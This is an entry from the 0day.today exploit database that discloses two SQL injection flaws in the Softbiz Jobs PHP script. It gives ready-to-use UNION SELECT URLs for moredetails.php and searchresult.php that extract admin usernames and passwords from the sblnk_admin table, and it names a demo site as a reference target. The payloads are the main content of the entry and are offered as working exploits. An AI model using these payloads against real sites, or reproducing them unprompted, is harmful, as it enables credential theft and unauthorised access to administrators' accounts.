[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Softbiz Jobs moredetails.php SQL injection

Author
Easy Laster
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-11061
Category
web applications
Date add
24-02-2010
Platform
unsorted
==========================================
Softbiz Jobs moredetails.php SQL injection
==========================================

----------------------------Information------------------------------------------------
+Name : Softbiz Jobs moredetails.php SQL injection
+Autor : Easy Laster
+Date   : 23.02.2010
+Script  : Softbiz Jobs
+Download : -----
+Demo :http://pricebusterdeals.com/
+Price : 169$
+Language :PHP
+Discovered by Easy Laster
----------------------------------------------------------------------------------------
+Vulnerability : www.site.com/moredetails.php?sblink_id=
+Exploitable   : www.site.com/moredetails.php?sblink_id=11111111+
union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,
28,29,30,31,32,33,34,35,36,concat(username,0x3a,password),38,39,40+from+sblnk_admin--


---------------------------------------------------------------------------------------------------------------------Information------------------------------------------------
+Name: Softbiz Jobs searchresult.php SQL injection
+Autor : Easy Laster
+Date   : 23.02.2010
+Script  : Softbiz Jobs
+Download : -----
+Demo : http://pricebusterdeals.com/
+Price : 169$
+Language :PHP
+Discovered by Easy Laster

----------------------------------------------------------------------------------------
+Vulnerability : www.site.com/searchresult.php?sbcat_id=
+Exploitable   : www.site.com/searchresult.php?sbcat_id=-111111111+union+select+1,
concat(username,0x3a,password),3,4+from+sblnk_admin--


-----------------------------------------------------------------------------------------



#  0day.today [2024-11-15]  #